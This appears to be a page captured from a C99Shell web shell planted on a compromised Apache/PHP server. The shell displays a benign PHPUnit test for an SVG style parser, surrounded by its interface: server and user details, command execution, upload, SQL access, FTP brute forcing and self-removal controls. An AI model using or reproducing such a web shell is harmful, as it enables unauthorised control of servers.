!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/phenx/php-svg-lib/tests/Svg/   drwxrwxrwx
Free 13.11 GB of 57.97 GB (22.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StyleTest.php (1.88 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Created by PhpStorm.
 * User: Fabien
 * Date: 13/04/14
 * Time: 17:42
 */

namespace Svg\Tests;

use 
Svg\Style;
use 
PHPUnit\Framework\TestCase;

class 
StyleTest extends TestCase
{

    public function 
test_parseColor()
    {
        
$this->assertEquals("none"Style::parseColor("none"));
        
$this->assertEquals(array(25500), Style::parseColor("RED"));
        
$this->assertEquals(array(00255), Style::parseColor("blue"));
        
$this->assertEquals(nullStyle::parseColor("foo"));
        
$this->assertEquals(array(000), Style::parseColor("black"));
        
$this->assertEquals(array(255255255), Style::parseColor("white"));
        
$this->assertEquals(array(000), Style::parseColor("#000000"));
        
$this->assertEquals(array(255255255), Style::parseColor("#ffffff"));
        
$this->assertEquals(array(000), Style::parseColor("rgb(0,0,0)"));
        
$this->assertEquals(array(255255255), Style::parseColor("rgb(255,255,255)"));
        
$this->assertEquals(array(000), Style::parseColor("rgb(0, 0, 0)"));
        
$this->assertEquals(array(255255255), Style::parseColor("rgb(255, 255, 255)"));
    }

    public function 
test_fromAttributes()
    {
        
$style = new Style();

        
$attributes = array(
            
"color" => "blue",
            
"fill" => "#fff",
            
"stroke" => "none",
        );

        
$style->fromAttributes($attributes);

        
$this->assertEquals(array(00255), $style->color);
        
$this->assertEquals(array(255255255), $style->fill);
        
$this->assertEquals("none"$style->stroke);
    }

    public function 
test_convertSize()
    {
        
$this->assertEquals(1Style::convertSize(1));
        
$this->assertEquals(10Style::convertSize("10px")); // FIXME
        
$this->assertEquals(10Style::convertSize("10pt"));
        
$this->assertEquals(8Style::convertSize("80%"1072));
    }

}
 

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0068 ]--